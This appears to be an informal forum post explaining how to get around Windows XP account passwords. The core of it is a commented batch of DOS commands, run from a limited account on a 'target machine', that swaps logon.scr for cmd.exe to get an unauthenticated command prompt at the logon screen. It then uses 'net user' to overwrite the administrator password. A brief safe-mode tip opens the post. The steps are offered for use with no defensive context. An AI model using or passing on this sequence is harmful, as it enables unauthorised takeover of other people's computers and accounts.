    :shock: if u previously create a admin acount the default accout would hidden. In that case simply press F8 during boot and go safe mode and log in using default admin acount and del u r account .

    Hi,
    visit www.petri.co.il or

    This worked for me on both Windows XP Home and Pro.
    -----------------------------------------------------------------------------
    Now this one seems to be machine dependant, it works randomly(don't know why)

    If you log into a limited account on your target machine and open up a dos prompt
    then enter this set of commands Exactly:
    (this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
    on the welcome screen of a normal booted machine)
    -----------------------------------------------------------------------------
    cd\ *drops to root
    cd\windows\system32 *directs to the system32 dir
    mkdir temphack *creates the folder temphack
    copy logon.scr temphack\logon.scr *backsup logon.scr
    copy cmd.exe temphack\cmd.exe *backsup cmd.exe
    del logon.scr *deletes original logon.scr
    rename cmd.exe logon.scr *renames cmd.exe to logon.scr
    exit *quits dos
    -----------------------------------------------------------------------------
    Now what you have just done is told the computer to backup the command program
    and the screen saver file, then edits the settings so when the machine boots the
    screen saver you will get an unprotected dos prompt with out logging into XP.
    Once this happens if you enter this command minus the quotes
    "net user <admin account name here> password"
    If the Administrator Account is called Admin and you want the password THEGOOD enter this
    "net user ADMIN THEGOOD"

    Best Regards
